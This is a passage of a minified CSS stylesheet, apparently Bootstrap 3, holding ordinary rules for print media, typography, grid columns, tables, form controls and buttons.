.5cm;}p,h2,h3{orphans:3;widows:3;} h2,h3{page-break-after:avoid;} select{background:#fff !important;} .navbar{display:none;} .table td,.table th{background-color:#fff !important;} .btn>.caret,.dropup>.btn>.caret{border-top-color:#000 !important;} .label{border:1px solid #000;} .table{border-collapse:collapse !important;} .table-bordered th,.table-bordered td{border:1px solid #ddd !important;}}*,*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.428571429;color:#333333;background-color:#ffffff;}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit;}a{color:#428bca;text-decoration:none;}a:hover,a:focus{color:#2a6496;text-decoration:underline;}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}img{vertical-align:middle;}.img-responsive{display:block;max-width:100%;height:auto;}.img-rounded{border-radius:6px;}.img-thumbnail{padding:4px;line-height:1.428571429;background-color:#ffffff;border:1px solid #dddddd;border-radius:4px;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;display:inline-block;max-width:100%;height:auto;}.img-circle{border-radius:50%;}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eeeeee;}.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);border:0;}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:500;line-height:1.1;color:inherit;}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small,h1 .small,h2 .small,h3 .small,h4 .small,h5 .small,h6 .small,.h1 .small,.h2 .small,.h3 .small,.h4 .small,.h5 .small,.h6 .small{font-weight:normal;line-height:1;color:#999999;}h1,h2,h3{margin-top:20px;margin-bottom:10px;}h1 small,h2 small,h3 small,h1 .small,h2 .small,h3 .small{font-size:65%;}h4,h5,h6{margin-top:10px;margin-bottom:10px;}h4 small,h5 small,h6 small,h4 .small,h5 .small,h6 .small{font-size:75%;}h1,.h1{font-size:36px;}h2,.h2{font-size:30px;}h3,.h3{font-size:24px;}h4,.h4{font-size:18px;}h5,.h5{font-size:14px;}h6,.h6{font-size:12px;}p{margin:0 0 10px;}.lead{margin-bottom:20px;font-size:16px;font-weight:200;line-height:1.4;}@media (min-width:768px){.lead{font-size:21px;}}small,.small{font-size:85%;}cite{font-style:normal;}.text-muted{color:#999999;}.text-primary{color:#428bca;}.text-primary:hover{color:#3071a9;}.text-warning{color:#8a6d3b;}.text-warning:hover{color:#66512c;}.text-danger{color:#a94442;}.text-danger:hover{color:#843534;}.text-success{color:#3c763d;}.text-success:hover{color:#2b542c;}.text-info{color:#31708f;}.text-info:hover{color:#245269;}.text-left{text-align:left;}.text-right{text-align:right;}.text-center{text-align:center;}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eeeeee;}ul,ol{margin-top:0;margin-bottom:10px;}ul ul,ol ul,ul ol,ol ol{margin-bottom:0;}.list-unstyled{padding-left:0;list-style:none;}.list-inline{padding-left:0;list-style:none;}.list-inline>li{display:inline-block;padding-left:5px;padding-right:5px;}.list-inline>li:first-child{padding-left:0;}dl{margin-top:0;margin-bottom:20px;}dt,dd{line-height:1.428571429;}dt{font-weight:bold;}dd{margin-left:0;}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;} .dl-horizontal dd{margin-left:180px;}.dl-horizontal dd:before,.dl-horizontal dd:after{content:" ";display:table;} .dl-horizontal dd:after{clear:both;} .dl-horizontal dd:before,.dl-horizontal dd:after{content:" ";display:table;} .dl-horizontal dd:after{clear:both;}}abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999999;}.initialism{font-size:90%;text-transform:uppercase;}blockquote{padding:10px 20px;margin:0 0 20px;border-left:5px solid #eeeeee;}blockquote p{font-size:17.5px;font-weight:300;line-height:1.25;}blockquote p:last-child{margin-bottom:0;}blockquote small,blockquote .small{display:block;line-height:1.428571429;color:#999999;}blockquote small:before,blockquote .small:before{content:'\2014 \00A0';}blockquote.pull-right{padding-right:15px;padding-left:0;border-right:5px solid #eeeeee;border-left:0;}blockquote.pull-right p,blockquote.pull-right small,blockquote.pull-right .small{text-align:right;}blockquote.pull-right small:before,blockquote.pull-right .small:before{content:'';}blockquote.pull-right small:after,blockquote.pull-right .small:after{content:'\00A0 \2014';}blockquote:before,blockquote:after{content:"";}address{margin-bottom:20px;font-style:normal;line-height:1.428571429;}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace;}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;white-space:nowrap;border-radius:4px;}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.428571429;word-break:break-all;word-wrap:break-word;color:#333333;background-color:#f5f5f5;border:1px solid #cccccc;border-radius:4px;}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0;}.pre-scrollable{max-height:340px;overflow-y:scroll;}.container{margin-right:auto;margin-left:auto;padding-left:0px;padding-right:0px;}.container:before,.container:after{content:" ";display:table;}.container:after{clear:both;}.container:before,.container:after{content:" ";display:table;}.container:after{clear:both;}@media (min-width:768px){.container{width:720px;}}@media (min-width:992px){.container{width:940px;}}@media (min-width:1200px){.container{width:1140px;}}.row{margin-left:0px;margin-right:0px;}.row:before,.row:after{content:" ";display:table;}.row:after{clear:both;}.row:before,.row:after{content:" ";display:table;}.row:after{clear:both;}.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12{position:relative;min-height:1px;padding-left:0px;padding-right:0px;}.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12{float:left;}.col-xs-12{width:100%;}.col-xs-11{width:91.66666666666666%;}.col-xs-10{width:83.33333333333334%;}.col-xs-9{width:75%;}.col-xs-8{width:66.66666666666666%;}.col-xs-7{width:58.333333333333336%;}.col-xs-6{width:50%;}.col-xs-5{width:41.66666666666667%;}.col-xs-4{width:33.33333333333333%;}.col-xs-3{width:25%;}.col-xs-2{width:16.666666666666664%;}.col-xs-1{width:8.333333333333332%;}.col-xs-pull-12{right:100%;}.col-xs-pull-11{right:91.66666666666666%;}.col-xs-pull-10{right:83.33333333333334%;}.col-xs-pull-9{right:75%;}.col-xs-pull-8{right:66.66666666666666%;}.col-xs-pull-7{right:58.333333333333336%;}.col-xs-pull-6{right:50%;}.col-xs-pull-5{right:41.66666666666667%;}.col-xs-pull-4{right:33.33333333333333%;}.col-xs-pull-3{right:25%;}.col-xs-pull-2{right:16.666666666666664%;}.col-xs-pull-1{right:8.333333333333332%;}.col-xs-pull-0{right:0%;}.col-xs-push-12{left:100%;}.col-xs-push-11{left:91.66666666666666%;}.col-xs-push-10{left:83.33333333333334%;}.col-xs-push-9{left:75%;}.col-xs-push-8{left:66.66666666666666%;}.col-xs-push-7{left:58.333333333333336%;}.col-xs-push-6{left:50%;}.col-xs-push-5{left:41.66666666666667%;}.col-xs-push-4{left:33.33333333333333%;}.col-xs-push-3{left:25%;}.col-xs-push-2{left:16.666666666666664%;}.col-xs-push-1{left:8.333333333333332%;}.col-xs-push-0{left:0%;}.col-xs-offset-12{margin-left:100%;}.col-xs-offset-11{margin-left:91.66666666666666%;}.col-xs-offset-10{margin-left:83.33333333333334%;}.col-xs-offset-9{margin-left:75%;}.col-xs-offset-8{margin-left:66.66666666666666%;}.col-xs-offset-7{margin-left:58.333333333333336%;}.col-xs-offset-6{margin-left:50%;}.col-xs-offset-5{margin-left:41.66666666666667%;}.col-xs-offset-4{margin-left:33.33333333333333%;}.col-xs-offset-3{margin-left:25%;}.col-xs-offset-2{margin-left:16.666666666666664%;}.col-xs-offset-1{margin-left:8.333333333333332%;}.col-xs-offset-0{margin-left:0%;}@media (min-width:768px){.col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12{float:left;} .col-sm-12{width:100%;} .col-sm-11{width:91.66666666666666%;} .col-sm-10{width:83.33333333333334%;} .col-sm-9{width:75%;} .col-sm-8{width:66.66666666666666%;} .col-sm-7{width:58.333333333333336%;} .col-sm-6{width:50%;} .col-sm-5{width:41.66666666666667%;} .col-sm-4{width:33.33333333333333%;} .col-sm-3{width:25%;} .col-sm-2{width:16.666666666666664%;} .col-sm-1{width:8.333333333333332%;} .col-sm-pull-12{right:100%;} .col-sm-pull-11{right:91.66666666666666%;} .col-sm-pull-10{right:83.33333333333334%;} .col-sm-pull-9{right:75%;} .col-sm-pull-8{right:66.66666666666666%;} .col-sm-pull-7{right:58.333333333333336%;} .col-sm-pull-6{right:50%;} .col-sm-pull-5{right:41.66666666666667%;} .col-sm-pull-4{right:33.33333333333333%;} .col-sm-pull-3{right:25%;} .col-sm-pull-2{right:16.666666666666664%;} .col-sm-pull-1{right:8.333333333333332%;} .col-sm-pull-0{right:0%;} .col-sm-push-12{left:100%;} .col-sm-push-11{left:91.66666666666666%;} .col-sm-push-10{left:83.33333333333334%;} .col-sm-push-9{left:75%;} .col-sm-push-8{left:66.66666666666666%;} .col-sm-push-7{left:58.333333333333336%;} .col-sm-push-6{left:50%;} .col-sm-push-5{left:41.66666666666667%;} .col-sm-push-4{left:33.33333333333333%;} .col-sm-push-3{left:25%;} .col-sm-push-2{left:16.666666666666664%;} .col-sm-push-1{left:8.333333333333332%;} .col-sm-push-0{left:0%;} .col-sm-offset-12{margin-left:100%;} .col-sm-offset-11{margin-left:91.66666666666666%;} .col-sm-offset-10{margin-left:83.33333333333334%;} .col-sm-offset-9{margin-left:75%;} .col-sm-offset-8{margin-left:66.66666666666666%;} .col-sm-offset-7{margin-left:58.333333333333336%;} .col-sm-offset-6{margin-left:50%;} .col-sm-offset-5{margin-left:41.66666666666667%;} .col-sm-offset-4{margin-left:33.33333333333333%;} .col-sm-offset-3{margin-left:25%;} .col-sm-offset-2{margin-left:16.666666666666664%;} .col-sm-offset-1{margin-left:8.333333333333332%;} .col-sm-offset-0{margin-left:0%;}}@media (min-width:992px){.col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12{float:left;} .col-md-12{width:100%;} .col-md-11{width:91.66666666666666%;} .col-md-10{width:83.33333333333334%;} .col-md-9{width:75%;} .col-md-8{width:66.66666666666666%;} .col-md-7{width:58.333333333333336%;} .col-md-6{width:50%;} .col-md-5{width:41.66666666666667%;} .col-md-4{width:33.33333333333333%;} .col-md-3{width:25%;} .col-md-2{width:16.666666666666664%;} .col-md-1{width:8.333333333333332%;} .col-md-pull-12{right:100%;} .col-md-pull-11{right:91.66666666666666%;} .col-md-pull-10{right:83.33333333333334%;} .col-md-pull-9{right:75%;} .col-md-pull-8{right:66.66666666666666%;} .col-md-pull-7{right:58.333333333333336%;} .col-md-pull-6{right:50%;} .col-md-pull-5{right:41.66666666666667%;} .col-md-pull-4{right:33.33333333333333%;} .col-md-pull-3{right:25%;} .col-md-pull-2{right:16.666666666666664%;} .col-md-pull-1{right:8.333333333333332%;} .col-md-pull-0{right:0%;} .col-md-push-12{left:100%;} .col-md-push-11{left:91.66666666666666%;} .col-md-push-10{left:83.33333333333334%;} .col-md-push-9{left:75%;} .col-md-push-8{left:66.66666666666666%;} .col-md-push-7{left:58.333333333333336%;} .col-md-push-6{left:50%;} .col-md-push-5{left:41.66666666666667%;} .col-md-push-4{left:33.33333333333333%;} .col-md-push-3{left:25%;} .col-md-push-2{left:16.666666666666664%;} .col-md-push-1{left:8.333333333333332%;} .col-md-push-0{left:0%;} .col-md-offset-12{margin-left:100%;} .col-md-offset-11{margin-left:91.66666666666666%;} .col-md-offset-10{margin-left:83.33333333333334%;} .col-md-offset-9{margin-left:75%;} .col-md-offset-8{margin-left:66.66666666666666%;} .col-md-offset-7{margin-left:58.333333333333336%;} .col-md-offset-6{margin-left:50%;} .col-md-offset-5{margin-left:41.66666666666667%;} .col-md-offset-4{margin-left:33.33333333333333%;} .col-md-offset-3{margin-left:25%;} .col-md-offset-2{margin-left:16.666666666666664%;} .col-md-offset-1{margin-left:8.333333333333332%;} .col-md-offset-0{margin-left:0%;}}@media (min-width:1200px){.col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12{float:left;} .col-lg-12{width:100%;} .col-lg-11{width:91.66666666666666%;} .col-lg-10{width:83.33333333333334%;} .col-lg-9{width:75%;} .col-lg-8{width:66.66666666666666%;} .col-lg-7{width:58.333333333333336%;} .col-lg-6{width:50%;} .col-lg-5{width:41.66666666666667%;} .col-lg-4{width:33.33333333333333%;} .col-lg-3{width:25%;} .col-lg-2{width:16.666666666666664%;} .col-lg-1{width:8.333333333333332%;} .col-lg-pull-12{right:100%;} .col-lg-pull-11{right:91.66666666666666%;} .col-lg-pull-10{right:83.33333333333334%;} .col-lg-pull-9{right:75%;} .col-lg-pull-8{right:66.66666666666666%;} .col-lg-pull-7{right:58.333333333333336%;} .col-lg-pull-6{right:50%;} .col-lg-pull-5{right:41.66666666666667%;} .col-lg-pull-4{right:33.33333333333333%;} .col-lg-pull-3{right:25%;} .col-lg-pull-2{right:16.666666666666664%;} .col-lg-pull-1{right:8.333333333333332%;} .col-lg-pull-0{right:0%;} .col-lg-push-12{left:100%;} .col-lg-push-11{left:91.66666666666666%;} .col-lg-push-10{left:83.33333333333334%;} .col-lg-push-9{left:75%;} .col-lg-push-8{left:66.66666666666666%;} .col-lg-push-7{left:58.333333333333336%;} .col-lg-push-6{left:50%;} .col-lg-push-5{left:41.66666666666667%;} .col-lg-push-4{left:33.33333333333333%;} .col-lg-push-3{left:25%;} .col-lg-push-2{left:16.666666666666664%;} .col-lg-push-1{left:8.333333333333332%;} .col-lg-push-0{left:0%;} .col-lg-offset-12{margin-left:100%;} .col-lg-offset-11{margin-left:91.66666666666666%;} .col-lg-offset-10{margin-left:83.33333333333334%;} .col-lg-offset-9{margin-left:75%;} .col-lg-offset-8{margin-left:66.66666666666666%;} .col-lg-offset-7{margin-left:58.333333333333336%;} .col-lg-offset-6{margin-left:50%;} .col-lg-offset-5{margin-left:41.66666666666667%;} .col-lg-offset-4{margin-left:33.33333333333333%;} .col-lg-offset-3{margin-left:25%;} .col-lg-offset-2{margin-left:16.666666666666664%;} .col-lg-offset-1{margin-left:8.333333333333332%;} .col-lg-offset-0{margin-left:0%;}}table{max-width:100%;background-color:transparent;}th{text-align:left;}.table{width:100%;margin-bottom:20px;}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.428571429;vertical-align:top;border-top:1px solid #dddddd;}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #dddddd;}.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>td{border-top:0;}.table>tbody+tbody{border-top:2px solid #dddddd;}.table .table{background-color:#ffffff;}.table-condensed>thead>tr>th,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>td{padding:5px;}.table-bordered{border:1px solid #dddddd;}.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td{border:1px solid #dddddd;}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px;}.table-striped>tbody>tr:nth-child(odd)>td,.table-striped>tbody>tr:nth-child(odd)>th{background-color:#f9f9f9;}.table-hover>tbody>tr:hover>td,.table-hover>tbody>tr:hover>th{background-color:#f5f5f5;}table col[class*="col-"]{position:static;float:none;display:table-column;}table td[class*="col-"],table th[class*="col-"]{float:none;display:table-cell;}.table>thead>tr>.active,.table>tbody>tr>.active,.table>tfoot>tr>.active,.table>thead>.active>td,.table>tbody>.active>td,.table>tfoot>.active>td,.table>thead>.active>th,.table>tbody>.active>th,.table>tfoot>.active>th{background-color:#f5f5f5;}.table-hover>tbody>tr>.active:hover,.table-hover>tbody>.active:hover>td,.table-hover>tbody>.active:hover>th{background-color:#e8e8e8;}.table>thead>tr>.success,.table>tbody>tr>.success,.table>tfoot>tr>.success,.table>thead>.success>td,.table>tbody>.success>td,.table>tfoot>.success>td,.table>thead>.success>th,.table>tbody>.success>th,.table>tfoot>.success>th{background-color:#dff0d8;}.table-hover>tbody>tr>.success:hover,.table-hover>tbody>.success:hover>td,.table-hover>tbody>.success:hover>th{background-color:#d0e9c6;}.table>thead>tr>.danger,.table>tbody>tr>.danger,.table>tfoot>tr>.danger,.table>thead>.danger>td,.table>tbody>.danger>td,.table>tfoot>.danger>td,.table>thead>.danger>th,.table>tbody>.danger>th,.table>tfoot>.danger>th{background-color:#f2dede;}.table-hover>tbody>tr>.danger:hover,.table-hover>tbody>.danger:hover>td,.table-hover>tbody>.danger:hover>th{background-color:#ebcccc;}.table>thead>tr>.warning,.table>tbody>tr>.warning,.table>tfoot>tr>.warning,.table>thead>.warning>td,.table>tbody>.warning>td,.table>tfoot>.warning>td,.table>thead>.warning>th,.table>tbody>.warning>th,.table>tfoot>.warning>th{background-color:#fcf8e3;}.table-hover>tbody>tr>.warning:hover,.table-hover>tbody>.warning:hover>td,.table-hover>tbody>.warning:hover>th{background-color:#faf2cc;}@media (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;overflow-x:scroll;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #dddddd;-webkit-overflow-scrolling:touch;}.table-responsive>.table{margin-bottom:0;}.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td{white-space:nowrap;} .table-responsive>.table-bordered{border:0;}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0;} .table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0;} .table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0;}}fieldset{padding:0;margin:0;border:0;}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333333;border:0;border-bottom:1px solid #e5e5e5;}label{display:inline-block;margin-bottom:5px;font-weight:bold;}input[type="search"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;line-height:normal;}input[type="file"]{display:block;}select[multiple],select[size]{height:auto;}select optgroup{font-size:inherit;font-style:inherit;font-family:inherit;}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}input[type="number"]::-webkit-outer-spin-button,input[type="number"]::-webkit-inner-spin-button{height:auto;}output{display:block;padding-top:7px;font-size:14px;line-height:1.428571429;color:#555555;vertical-align:middle;}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.428571429;color:#555555;vertical-align:middle;background-color:#ffffff;background-image:none;border:1px solid #cccccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-webkit-transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);}.form-control:-moz-placeholder{color:#999999;}.form-control::-moz-placeholder{color:#999999;opacity:1;}.form-control:-ms-input-placeholder{color:#999999;}.form-control::-webkit-input-placeholder{color:#999999;}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{cursor:not-allowed;background-color:#eeeeee;}textarea.form-control{height:auto;}.form-group{margin-bottom:15px;}.radio,.checkbox{display:block;min-height:20px;margin-top:10px;margin-bottom:10px;padding-left:20px;vertical-align:middle;}.radio label,.checkbox label{display:inline;margin-bottom:0;font-weight:normal;cursor:pointer;}.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]{float:left;margin-left:-20px;}.radio+.radio,.checkbox+.checkbox{margin-top:-5px;}.radio-inline,.checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer;}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px;}input[type="radio"][disabled],input[type="checkbox"][disabled],.radio[disabled],.radio-inline[disabled],.checkbox[disabled],.checkbox-inline[disabled],fieldset[disabled] input[type="radio"],fieldset[disabled] input[type="checkbox"],fieldset[disabled] .radio,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox,fieldset[disabled] .checkbox-inline{cursor:not-allowed;}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px;}select.input-sm{height:30px;line-height:30px;}textarea.input-sm{height:auto;}.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px;}select.input-lg{height:46px;line-height:46px;}textarea.input-lg{height:auto;}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline{color:#8a6d3b;}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #c0a16b;}.has-warning .input-group-addon{color:#8a6d3b;border-color:#8a6d3b;background-color:#fcf8e3;}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline{color:#a94442;}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #ce8483;}.has-error .input-group-addon{color:#a94442;border-color:#a94442;background-color:#f2dede;}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline{color:#3c763d;}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #67b168;}.has-success .input-group-addon{color:#3c763d;border-color:#3c763d;background-color:#dff0d8;}.form-control-static{margin-bottom:0;}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373;}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle;} .form-inline .form-control{display:inline-block;} .form-inline select.form-control{width:auto;} .form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;padding-left:0;} .form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{float:none;margin-left:0;}}.form-horizontal .control-label,.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{margin-top:0;margin-bottom:0;padding-top:7px;}.form-horizontal .radio,.form-horizontal .checkbox{min-height:27px;}.form-horizontal .form-group{margin-left:0px;margin-right:0px;}.form-horizontal .form-group:before,.form-horizontal .form-group:after{content:" ";display:table;}.form-horizontal .form-group:after{clear:both;}.form-horizontal .form-group:before,.form-horizontal .form-group:after{content:" ";display:table;}.form-horizontal .form-group:after{clear:both;}.form-horizontal .form-control-static{padding-top:7px;}@media (min-width:768px){.form-horizontal .control-label{text-align:right;}}.btn{display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:6px 12px;font-size:14px;line-height:1.428571429;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}.btn:hover,.btn:focus{color:#333333;text-decoration:none;}.btn:active,.btn.active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);box-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;pointer-events:none;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;}.btn-default{color:#333333;background-color:#ffffff;border-color:#cccccc;}.btn-default:hover,.btn-default:focus,.btn-default:active,.btn-default.active,.open .dropdown-toggle.btn-default{color:#333333;background-color:#ebebeb;border-color:#adadad;}.btn-default:active,.btn-default.active,.open .dropdown-toggle.btn-default{background-image:none;}.btn-default.disabled,.btn-default[disabled],fieldset[disabled] .btn-default,.btn-default.disabled:hover,.btn-default[disabled]:hover,fieldset[disabled] .btn-default:hover,.btn-default.disabled:focus,.btn-default[disabled]:focus,fieldset[disabled] .btn-default:focus,.btn-default.disabled:active,.btn-default[disabled]:active,fieldset[disabled] .btn-default:active,.btn-default.disabled.active,.btn-default[disabled].active,fieldset[disabled] .btn-default.active{background-color:#ffffff;border-color:#cccccc;}.btn-default .badge{color:#ffffff;background-color:#fff;}.btn-primary{color:#ffffff;background-color:#428bca;border-color:#357ebd;}.btn-primary:hover,.btn-primary:focus,.btn-primary:active,.btn-primary.active,.open .dropdown-toggle.btn-primary{color:#ffffff;background-color:#3276b1;border-color:#285e8e;}.btn-primary:active,.btn-primary.active,.open .dropdown-toggle.btn-primary{background-image:none;}.btn-primary.disabled,.btn-primary[disabled],fieldset[disabled] .btn-primary,.btn-primary.disabled:hover,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary:hover,.btn-primary.disabled:focus,.btn-primary[disabled]:focus,fieldset[disabled] .btn-primary:focus,.btn-primary.disabled:active,.btn-primary[disabled]:active,fieldset[disabled] .btn-primary:active,.btn-primary.disabled.active,.btn-primary[disabled].active,fieldset[disabled] .btn-primary.active{background-color:#428bca;border-color:#357ebd;}.btn-primary .badge{color:#428bca;background-color:#fff;}.btn-warning{color:#ffffff;background-color:#f0ad4e;border-color:#eea236;}.btn-warning:hover,.btn-warning:focus,.btn-warning:active,.btn-warning.active,.open .dropdown-toggle.btn-warning{color:#ffffff;background-color:#ed9c28;border-color:#d58512;}.btn-warning:active,.btn-warning.active,.open .dropdown-toggle.btn-warning{background-image:none;}.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-warning,.btn-warning.disabled:hover,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning:hover,.btn-warning.disabled:focus,.btn-warning[disabled]:focus,fieldset[disabled] .btn-warning:focus,.btn-warning.disabled:active,.btn-warning[disabled]:active,fieldset[disabled] 